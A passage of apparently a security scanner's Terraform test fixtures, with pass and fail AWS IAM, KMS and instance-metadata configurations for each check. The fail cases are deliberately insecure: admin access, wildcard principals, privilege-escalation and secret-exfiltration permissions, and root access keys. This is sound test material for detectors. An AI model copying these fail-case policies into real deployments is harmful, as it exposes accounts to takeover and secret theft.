    "content": "# pass\n\nresource \"aws_iam_policy\" \"allowed_action\" {\n  policy = <<POLICY\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"ecr:GetAuthorizationToken\"\n        ],\n        \"Resource\": \"*\"\n      }\n    ]\n  }\nPOLICY\n}\n\nresource \"aws_iam_policy\" \"deny\" {\n    policy = <<POLICY\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Effect\": \"Deny\",\n        \"Action\": [\"*\"],\n        \"Resource\": \"*\",\n        \"Sid\": \"DenyOutsideCallers\",\n        \"Condition\" : {\n          \"NotIpAddress\": {\"aws:SourceIp\": \"1.2.3.4/16\"},\n          \"Bool\": {\"aws:ViaAWSService\": \"false\"}\n        }\n      }\n    ]\n  }\nPOLICY\n}\n\nresource \"aws_iam_policy\" \"pass\" {\n  policy = <<POLICY\n    {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"lambda:CreateFunction\",\n          \"lambda:CreateEventSourceMapping\",\n          \"dynamodb:CreateTable\",\n        ],\n        \"Resource\": \"*\"\n      }\n      ]\n    }\nPOLICY\n}\n\n# fail\n\nresource \"aws_iam_policy\" \"fail\" {\n    policy = <<POLICY\n    {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"s3:GetObject\",\n          \"iam:CreateAccessKey\"\n        ],\n        \"Resource\": \"*\"\n      }\n      ]\n    }\nPOLICY\n}\n\n# unknown\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_IAMDataExfiltration/main.tf",
    "content": "# pass\n\nresource \"aws_iam_policy\" \"pass\" {\n  policy = <<POLICY\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"lambda:CreateFunction\",\n          \"lambda:CreateEventSourceMapping\",\n          \"dynamodb:CreateTable\",\n        ],\n        \"Resource\": \"*\"\n      }\n    ]\n  }\nPOLICY\n}\n\n# fail\n\nresource \"aws_iam_policy\" \"fail\" {\n  policy = <<POLICY\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"iam:PassRole\",\n          \"ssm:GetParameter\",\n          \"s3:GetObject\",\n          \"ssm:GetParameter\",\n          \"ssm:GetParameters\",\n          \"ssm:GetParametersByPath\",\n          \"secretsmanager:GetSecretValue\",\n          \"s3:PutObject\",\n          \"ec2:CreateTags\"\n        ],\n        \"Resource\": \"*\"\n      }\n    ]\n  }\nPOLICY\n}\n\n# unknown\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_IAMManagedAdminPolicy/IAMManagedAdminPolicy.tf",
    "content": "# Fail\n\nresource \"aws_iam_role\" \"fail1\" {\n  name                = \"fail1\"\n  assume_role_policy  = data.aws_iam_policy_document.instance_assume_role_policy.json\n  managed_policy_arns = [\"arn:aws:iam::aws:policy/AdministratorAccess\"]\n}\n\nresource \"aws_iam_policy_attachment\" \"fail2\" {\n  name       = \"fail2\"\n  roles      = [aws_iam_role.fail1.name]\n  policy_arn = \"arn:aws:iam::aws:policy/AdministratorAccess\"\n}\n\nresource \"aws_iam_role_policy_attachment\" \"fail3\" {\n  role       = aws_iam_role.fail1.name\n  policy_arn = \"arn:aws:iam::aws:policy/AdministratorAccess\"\n}\n\nresource \"aws_iam_user_policy_attachment\" \"fail4\" {\n  user       = \"user\"\n  policy_arn = \"arn:aws:iam::aws:policy/AdministratorAccess\"\n}\n\nresource \"aws_iam_group_policy_attachment\" \"fail5\" {\n  group      = \"group\"\n  policy_arn = \"arn:aws:iam::aws:policy/AdministratorAccess\"\n}\n# Test SSO policy attachment with AdministratorAccess - Fail\nresource \"aws_ssoadmin_managed_policy_attachment\" \"fail6\" {\n  instance_arn       = tolist(data.aws_ssoadmin_instances.my_instance.arns)[0]\n  managed_policy_arn = \"arn:aws:iam::aws:policy/AdministratorAccess\"\n  permission_set_arn = aws_ssoadmin_permission_set.admins.arn\n}\n\n# Pass\n\nresource \"aws_iam_role\" \"pass1\" {\n  name                = \"pass1\"\n  assume_role_policy  = data.aws_iam_policy_document.instance_assume_role_policy.json\n  managed_policy_arns = [\"arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess\"]\n}\n\nresource \"aws_iam_policy_attachment\" \"pass2\" {\n  name       = \"pass2\"\n  role       = aws_iam_role.pass1.name\n  policy_arn = \"arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess\"\n}\n\nresource \"aws_iam_role_policy_attachment\" \"pass3\" {\n  role       = aws_iam_role.pass1.name\n  policy_arn = \"arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess\"\n}\n\nresource \"aws_iam_user_policy_attachment\" \"pass4\" {\n  user       = \"user\"\n  policy_arn = \"arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess\"\n}\n\nresource \"aws_iam_group_policy_attachment\" \"pass5\" {\n  group      = \"group\"\n  policy_arn = \"arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess\"\n}\n\nresource \"aws_iam_role_policy_attachment\" \"pass6\" {\n  role       = aws_iam_role.fail1.name\n#  policy_arn = \"\"  # not valid, just to simulate a TF plan behaviour\n}\n# Test SSO policy attachment with other policy - Pass\nresource \"aws_ssoadmin_managed_policy_attachment\" \"pass7\" {\n  instance_arn       = tolist(data.aws_ssoadmin_instances.my_instance.arns)[0]\n  managed_policy_arn = \"arn:aws:iam::aws:policy/AmazonEC2ReadOnlyAccess\"\n  permission_set_arn = aws_ssoadmin_permission_set.viewers.arn\n}\n\n# Data\n\ndata \"aws_iam_policy_document\" \"instance_assume_role_policy\" {\n  statement {\n    actions = [\"sts:AssumeRole\"]\n\n    principals {\n      type        = \"Service\"\n      identifiers = [\"ec2.amazonaws.com\"]\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_IAMPermissionsManagement/main.tf",
    "content": "# pass\n\nresource \"aws_iam_policy\" \"pass\" {\n  policy = <<POLICY\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": [\"s3:*\"],\n        \"Resource\": \"arn:aws:s3:::example\"\n      }\n    ]\n  }\nPOLICY\n}\n\n# fail\n\nresource \"aws_iam_policy\" \"fail\" {\n  policy = <<POLICY\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": [\"iam:*\"],\n        \"Resource\": \"*\"\n      }\n    ]\n  }\nPOLICY\n}\n\n# unknown\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_IAMPolicyAttachedToGroupOrRoles/iam.tf",
    "content": "# pass\n\nresource \"aws_iam_policy_attachment\" \"pass\" {\n  name       = \"example\"\n  policy_arn = \"aws_iam_policy.policy.arn\"\n}\n\nresource \"aws_iam_policy_attachment\" \"null\" {\n  name       = \"example\"\n  policy_arn = \"aws_iam_policy.policy.arn\"\n\n  users = null\n}\n\nresource \"aws_iam_policy_attachment\" \"empty\" {\n  name       = \"example\"\n  policy_arn = \"aws_iam_policy.policy.arn\"\n\n  users = []\n}\n\n# fail\n\nresource \"aws_iam_policy_attachment\" \"fail\" {\n  name       = \"example\"\n  policy_arn = \"aws_iam_policy.policy.arn\"\n\n  users = [\"example\"]\n}\n\nresource \"aws_iam_user_policy\" \"fail\" {\n  user = \"example\"\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"*\"\n      },\n    ]\n  })\n}\n\nresource \"aws_iam_user_policy_attachment\" \"fail\" {\n  user       = \"example\"\n  policy_arn = \"aws_iam_policy.policy.arn\"\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_IAMPrivilegeEscalation/main.tf",
    "content": "resource \"aws_iam_policy\" \"privilege_escalation\" {\n  name = \"privilege_escalation\"\n  user = aws_iam_user.privilege_escalation_user.name\n\n  policy = <<POLICY\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"iam:UpdateLoginProfile\"\n        ],\n        \"Resource\": \"*\"\n      }\n    ]\n  }\nPOLICY\n}\n\nresource \"aws_iam_policy\" \"passing\" {\n  name = \"privilege_escalation\"\n  user = aws_iam_user.privilege_escalation_user.name\n\n  policy = <<POLICY\n  {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n      {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"lambda:CreateFunction\"\n        ],\n        \"Resource\": \"s3\"\n      }\n    ]\n  }\nPOLICY\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_IAMRoleAllowAssumeFromAccount/main.tf",
    "content": "resource \"aws_iam_role\" \"fail\" {\n  name               = \"fail-default\"\n  assume_role_policy = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": \"sts:AssumeRole\",\n      \"Principal\": { \"AWS\": \"123123123123\" },\n      \"Effect\": \"Allow\",\n      \"Sid\": \"\"\n    }]\n}\nPOLICY\n}\n\nresource \"aws_iam_role\" \"fail2\" {\n  name               = \"fail-default\"\n  assume_role_policy = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [{\n    \"Action\": \"sts:AssumeRole\",\n    \"Principal\": {\"AWS\": \"arn:aws:iam::123123123123:root\"},\n    \"Effect\": \"Allow\",\n    \"Sid\": \"\"\n  }]\n}\nPOLICY\n}\n\nresource \"aws_iam_role\" \"fail3\" {\n  name               = \"fail-default\"\n  assume_role_policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = \"sts:AssumeRole\"\n        Effect = \"Allow\"\n        Sid    = \"\"\n        Principal = {\n          AWS = [\n            \"arn:aws:iam::123456789012:role/role-name\",\n            \"123456789012\"\n          ]\n        }\n      }\n    ]\n  })\n}\n\nresource \"aws_iam_role\" \"fail4\" {\n  name               = \"fail-default\"\n  assume_role_policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = \"sts:AssumeRole\"\n        Effect = \"Allow\"\n        Sid    = \"\"\n        Principal = {\n          AWS = [\n            \"arn:aws:iam::123456789012:role/role-name\"\n          ]\n        }\n      },\n      {\n        Action = \"sts:AssumeRole\"\n        Effect = \"Allow\"\n        Sid    = \"\"\n        Principal = {\n          AWS = [\n            \"123456789012\",\n          ]\n        }\n      }\n    ]\n  })\n}\n\nresource \"aws_iam_role\" \"pass2\" {\n  name               = \"pass2-default\"\n  assume_role_policy = \"\"\n}\n\nresource \"aws_iam_role\" \"pass\" {\n  name = \"pass-default\"\n\n  assume_role_policy = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [{\n    \"Action\": \"sts:AssumeRole\",\n    \"Principal\": { \"Service\": \"ecs-tasks.amazonaws.com\"    },\n    \"Effect\": \"Allow\",\n    \"Sid\": \"\"\n  }]\n}\nPOLICY\n}\n\nresource \"aws_iam_role\" \"pass3\" {\n  name               = \"fail-default\"\n  assume_role_policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = \"sts:AssumeRole\"\n        Effect = \"Deny\"\n        Sid    = \"\"\n        Principal = {\n          AWS = [\n            \"123456789012\"\n          ]\n        }\n      },\n      {\n        Action = \"sts:AssumeRole\"\n        Effect = \"Allow\"\n        Sid    = \"\"\n        Principal = {\n          AWS = [\n            \"arn:aws:iam::123456789012:role/role-name\",\n          ]\n        }\n      }\n    ]\n  })\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_IAMStarResourcePolicyDocument/main.tf",
    "content": "resource \"aws_iam_policy\" \"fail\" {\n  name        = \"test_policy\"\n  path        = \"/\"\n  description = \"My test policy\"\n\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"*\"\n      },\n    ]\n  })\n}\nresource \"aws_iam_policy\" \"pass\" {\n  name        = \"test_policy\"\n  path        = \"/\"\n  description = \"My test policy\"\n\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"arn:aws:ec2:us-east-1:123456789012:instance/*\"\n      },\n    ]\n  })\n}\n\nresource \"aws_iam_policy\" \"pass_unrestrictable\" {\n  name        = \"test_policy\"\n  path        = \"/\"\n  description = \"My test policy\"\n\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"s3:ListAllMyBuckets\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"*\"\n      },\n    ]\n  })\n}\n\nresource \"aws_iam_role_policy\" \"fail\" {\n  name = \"test_policy\"\n  role = aws_iam_role.test_role.id\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"*\"\n      },\n    ]\n  })\n}\nresource \"aws_iam_role_policy\" \"pass\" {\n  name = \"test_policy\"\n  role = aws_iam_role.test_role.id\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"arn:aws:ec2:us-east-1:123456789012:instance/*\"\n      },\n    ]\n  })\n}\n\nresource \"aws_iam_user_policy\" \"fail\" {\n  name = \"test\"\n  user = aws_iam_user.lb.name\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"*\"\n      },\n    ]\n  })\n}\nresource \"aws_iam_user_policy\" \"pass\" {\n  name = \"test\"\n  user = aws_iam_user.lb.name\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"arn:aws:ec2:us-east-1:123456789012:instance/*\"\n      },\n    ]\n  })\n}\n\nresource \"aws_iam_group_policy\" \"fail\" {\n  name  = \"my_developer_policy\"\n  group = aws_iam_group.my_developers.name\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"*\"\n      },\n    ]\n  })\n}\nresource \"aws_iam_group_policy\" \"pass\" {\n  name  = \"my_developer_policy\"\n  group = aws_iam_group.my_developers.name\n\n  # Terraform's \"jsonencode\" function converts a\n  # Terraform expression result to valid JSON syntax.\n  policy = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"arn:aws:ec2:us-east-1:123456789012:instance/*\"\n      },\n    ]\n  })\n}\n\nresource \"aws_ssoadmin_permission_set_inline_policy\" \"pass\" {\n  inline_policy      = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"arn:aws:ec2:us-east-1:123456789012:instance/*\"\n      },\n    ]\n  })\n  instance_arn       = tolist(data.aws_ssoadmin_instances.example.arns)[0]\n  permission_set_arn = aws_ssoadmin_permission_set.example.arn\n}\nresource \"aws_ssoadmin_permission_set_inline_policy\" \"fail\" {\n  inline_policy      = jsonencode({\n    Version = \"2012-10-17\"\n    Statement = [\n      {\n        Action = [\n          \"ec2:Describe*\",\n        ]\n        Effect   = \"Allow\"\n        Resource = \"*\"\n      },\n    ]\n  })\n  instance_arn       = tolist(data.aws_ssoadmin_instances.example.arns)[0]\n  permission_set_arn = aws_ssoadmin_permission_set.example.arn\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_IAMUserNotUsedForAccess/iam.tf",
    "content": "# fail\nresource \"aws_iam_user\" \"bad\" {\n  name = \"example\"\n  path = \"/system/\"\n\n  tags = {\n    tag-key = \"tag-value\"\n  }\n}\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_IAMUserRootAccessKeys/main.tf",
    "content": "resource \"aws_iam_access_key\" \"fail\" {\n    user = \"root\"\n}\n\nresource \"aws_iam_access_key\" \"pass\" {\n    user = \"pike\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_IAMWriteAccess/main.tf",
    "content": "# pass\n\nresource \"aws_iam_policy\" \"restrictable\" {\n  policy = <<POLICY\n    {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"s3:*\",\n        ],\n        \"Resource\": \"arn:aws:s3:::bucket\"\n      }\n      ]\n    }\nPOLICY\n}\n\nresource \"aws_iam_policy\" \"unrestrictable\" {\n  policy = <<POLICY\n    {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"xray:PutTelemetryRecords\",\n          \"xray:PutTraceSegments\",\n        ],\n        \"Resource\": \"*\"\n      }\n      ]\n    }\nPOLICY\n}\n\n# fail\n\nresource \"aws_iam_policy\" \"fail\" {\n  policy = <<POLICY\n    {\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n        \"Effect\": \"Allow\",\n        \"Action\": [\n          \"s3:*\",\n        ],\n        \"Resource\": \"*\"\n      }\n      ]\n    }\nPOLICY\n}\n\n# unknown\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_IMDSv1Disabled/main.tf",
    "content": "resource \"aws_instance\" \"defaults\" {\n  metadata_options {\n  }\n}\n\nresource \"aws_instance\" \"optional_token\" {\n  metadata_options {\n    http_endpoint               = \"enabled\"\n    http_put_response_hop_limit = \"1\"\n    http_tokens                 = \"optional\"\n  }\n}\n\nresource \"aws_instance\" \"disabled\" {\n  metadata_options {\n    http_endpoint = \"disabled\"\n  }\n}\n\nresource \"aws_instance\" \"required\" {\n  metadata_options {\n    http_tokens = \"required\"\n  }\n}\n\nresource \"aws_launch_configuration\" \"required_lc\" {\n  metadata_options {\n    http_endpoint = \"enabled\"\n    http_tokens   = \"required\"\n  }\n  image_id      = \"\"\n  instance_type = \"\"\n}\n\nresource \"aws_launch_configuration\" \"optional_lc\" {\n  metadata_options {\n    http_endpoint = \"enabled\"\n    http_tokens   = \"optional\"\n  }\n  image_id      = \"\"\n  instance_type = \"\"\n}\n\nresource \"aws_launch_template\" \"optional_lt\" {\n  metadata_options {\n    http_tokens = \"optional\"\n  }\n}\n\nresource \"aws_launch_template\" \"default_lt\" {\n  metadata_options {\n    http_endpoint = \"enabled\"\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ImagebuilderComponentEncryptedWithCMK/aws_imagebuilder_component.tf",
    "content": "resource \"aws_imagebuilder_component\" \"fail\" {\n  data = yamlencode({\n    phases = [{\n      name = \"build\"\n      steps = [{\n        action = \"ExecuteBash\"\n        inputs = {\n          commands = [\"echo 'hello world'\"]\n        }\n        name      = \"example\"\n        onFailure = \"Continue\"\n      }]\n    }]\n    schemaVersion = 1.0\n  })\n  name     = \"examplea\"\n  platform = \"Linux\"\n  version  = \"1.0.0\"\n}\n\nresource \"aws_imagebuilder_component\" \"pass\" {\n  data = yamlencode({\n    phases = [{\n      name = \"build\"\n      steps = [{\n        action = \"ExecuteBash\"\n        inputs = {\n          commands = [\"echo 'hello world'\"]\n        }\n        name      = \"example\"\n        onFailure = \"Continue\"\n      }]\n    }]\n    schemaVersion = 1.0\n  })\n  kms_key_id = aws_kms_key.test.arn\n  name       = \"examplea\"\n  platform   = \"Linux\"\n  version    = \"1.0.0\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ImagebuilderDistributionConfigurationEncryptedWithCMK/main.tf",
    "content": "resource \"aws_imagebuilder_distribution_configuration\" \"fail\" {\n  name        = \"example\"\n  description = \"non empty value\"\n\n  distribution {\n    ami_distribution_configuration {\n      //kms_key_id = \"\"\n      ami_tags = {\n        CostCenter = \"IT\"\n      }\n\n      name = \"example-{{ imagebuilder:buildDate }}\"\n\n      launch_permission {\n        user_ids = [\"123456789012\"]\n      }\n    }\n\n    region = \"us-east-1\"\n  }\n}\n\nresource \"aws_imagebuilder_distribution_configuration\" \"pass\" {\n  name        = \"example\"\n  description = \"non empty value\"\n\n  distribution {\n    ami_distribution_configuration {\n      kms_key_id = aws_kms_key.fail.arn\n      ami_tags = {\n        CostCenter = \"IT\"\n      }\n\n      name = \"example-{{ imagebuilder:buildDate }}\"\n\n      launch_permission {\n        user_ids = [\"123456789012\"]\n      }\n    }\n\n    region = \"us-east-1\"\n  }\n}\n\nresource \"aws_kms_key\" \"fail\" {}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_ImagebuilderImageRecipeEBSEncrypted/main.tf",
    "content": "# no blocks\nresource \"aws_imagebuilder_image_recipe\" \"pass\" {\n  #   block_device_mapping {\n  #     device_name = \"/dev/xvdb\"\n\n  #     ebs {\n  #     #   encrypted             = true\n  #     #   kms_key_id            = aws_kms_key.fail.arn\n  #       delete_on_termination = true\n  #       volume_size           = 100\n  #       volume_type           = \"gp2\"\n  #     }\n  #   }\n\n  component {\n    component_arn = aws_imagebuilder_component.fail.arn\n  }\n\n  name         = \"example\"\n  parent_image = \"arn:${data.aws_partition.current.partition}:imagebuilder:${data.aws_region.current.name}:aws:image/amazon-linux-2-x86/x.x.x\"\n  version      = \"1.0.0\"\n}\n\n#happy path\nresource \"aws_imagebuilder_image_recipe\" \"pass2\" {\n  block_device_mapping {\n    device_name = \"/dev/xvdb\"\n\n    ebs {\n      encrypted             = true\n      kms_key_id            = aws_kms_key.fail.arn\n      delete_on_termination = true\n      volume_size           = 100\n      volume_type           = \"gp2\"\n    }\n  }\n\n  component {\n    component_arn = aws_imagebuilder_component.fail.arn\n  }\n\n  name         = \"example\"\n  parent_image = \"arn:${data.aws_partition.current.partition}:imagebuilder:${data.aws_region.current.name}:aws:image/amazon-linux-2-x86/x.x.x\"\n  version      = \"1.0.0\"\n}\n\n#no ebs\nresource \"aws_imagebuilder_image_recipe\" \"pass3\" {\n  block_device_mapping {\n    device_name = \"/dev/xvdb\"\n\n    #     ebs {\n    #     #   encrypted             = true\n    #     #   kms_key_id            = aws_kms_key.fail.arn\n    #       delete_on_termination = true\n    #       volume_size           = 100\n    #       volume_type           = \"gp2\"\n    #     }\n  }\n\n  component {\n    component_arn = aws_imagebuilder_component.fail.arn\n  }\n\n  name         = \"example\"\n  parent_image = \"arn:${data.aws_partition.current.partition}:imagebuilder:${data.aws_region.current.name}:aws:image/amazon-linux-2-x86/x.x.x\"\n  version      = \"1.0.0\"\n}\n\n#nothing set\nresource \"aws_imagebuilder_image_recipe\" \"fail\" {\n  block_device_mapping {\n    device_name = \"/dev/xvdb\"\n\n    ebs {\n      #   encrypted             = true\n      #   kms_key_id            = aws_kms_key.fail.arn\n      delete_on_termination = true\n      volume_size           = 100\n      volume_type           = \"gp2\"\n    }\n  }\n\n  component {\n    component_arn = aws_imagebuilder_component.fail.arn\n  }\n\n  name         = \"example\"\n  parent_image = \"arn:${data.aws_partition.current.partition}:imagebuilder:${data.aws_region.current.name}:aws:image/amazon-linux-2-x86/x.x.x\"\n  version      = \"1.0.0\"\n}\n\n#no kms key\nresource \"aws_imagebuilder_image_recipe\" \"fail2\" {\n  block_device_mapping {\n    device_name = \"/dev/xvdb\"\n\n    ebs {\n      encrypted = true\n      #   kms_key_id            = aws_kms_key.fail.arn\n      delete_on_termination = true\n      volume_size           = 100\n      volume_type           = \"gp2\"\n    }\n  }\n\n  component {\n    component_arn = aws_imagebuilder_component.fail.arn\n  }\n\n  name         = \"example\"\n  parent_image = \"arn:${data.aws_partition.current.partition}:imagebuilder:${data.aws_region.current.name}:aws:image/amazon-linux-2-x86/x.x.x\"\n  version      = \"1.0.0\"\n}\n\n#not encrypted\nresource \"aws_imagebuilder_image_recipe\" \"fail3\" {\n  block_device_mapping {\n    device_name = \"/dev/xvdb\"\n\n    ebs {\n      #   encrypted             = true\n      kms_key_id            = aws_kms_key.fail.arn\n      delete_on_termination = true\n      volume_size           = 100\n      volume_type           = \"gp2\"\n    }\n  }\n\n  component {\n    component_arn = aws_imagebuilder_component.fail.arn\n  }\n\n  name         = \"example\"\n  parent_image = \"arn:${data.aws_partition.current.partition}:imagebuilder:${data.aws_region.current.name}:aws:image/amazon-linux-2-x86/x.x.x\"\n  version      = \"1.0.0\"\n}\n\n\n\ndata \"aws_partition\" \"current\" {}\ndata \"aws_region\" \"current\" {}\n\nresource \"aws_kms_key\" \"fail\" {\n\n}\n\n\nresource \"aws_imagebuilder_component\" \"fail\" {\n  data = yamlencode({\n    phases = [{\n      name = \"build\"\n      steps = [{\n        action = \"ExecuteBash\"\n        inputs = {\n          commands = [\"echo 'hello world'\"]\n        }\n        name      = \"example\"\n        onFailure = \"Continue\"\n      }]\n    }]\n    schemaVersion = 1.0\n  })\n  name     = \"examplea\"\n  platform = \"Linux\"\n  version  = \"1.0.0\"\n}\n\nresource \"aws_imagebuilder_image_recipe\" \"fail4\" {\n  block_device_mapping {\n    device_name = \"/dev/xvdb\"\n\n    ebs {\n      encrypted             = true\n      kms_key_id            = aws_kms_key.fail.arn\n      delete_on_termination = true\n      volume_size           = 100\n      volume_type           = \"gp2\"\n    }\n  }\n\n  block_device_mapping {\n    device_name = \"/dev/xvdc\"\n\n    ebs {\n      delete_on_termination = true\n      volume_size           = 100\n      volume_type           = \"gp2\"\n    }\n  }\n\n  component {\n    component_arn = aws_imagebuilder_component.fail.arn\n  }\n\n  name         = \"example\"\n  parent_image = \"arn:${data.aws_partition.current.partition}:imagebuilder:${data.aws_region.current.name}:aws:image/amazon-linux-2-x86/x.x.x\"\n  version      = \"1.0.0\"\n}\n\n\nprovider \"aws\" {\n  region = \"eu-west-1\"\n}"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_KMSKeyIsEnabled/main.tf",
    "content": "\nresource \"aws_kms_key\" \"fail\" {\n  description = \"description\"\n  is_enabled  = false\n  policy      = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::111122223333:root\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    },\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    },\n  ]\n}\nPOLICY\n  tags        = { test = \"Fail\" }\n}\n\n\nresource \"aws_kms_key\" \"pass\" {\n  description = \"description\"\n  is_enabled  = true\n  policy      = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::111122223333:root\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    },\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    },\n  ]\n}\nPOLICY\n  tags        = { test = \"Fail\" }\n}\n\nresource \"aws_kms_key\" \"pass2\" {\n  description = \"description\"\n  policy      = <<POLICY\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::111122223333:root\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    },\n    {\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"Action\": \"kms:*\",\n      \"Resource\": \"*\"\n    },\n  ]\n}\nPOLICY\n  tags        = { test = \"Fail\" }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/example_KMSKeyWildcardPrincipal/fail.tf",
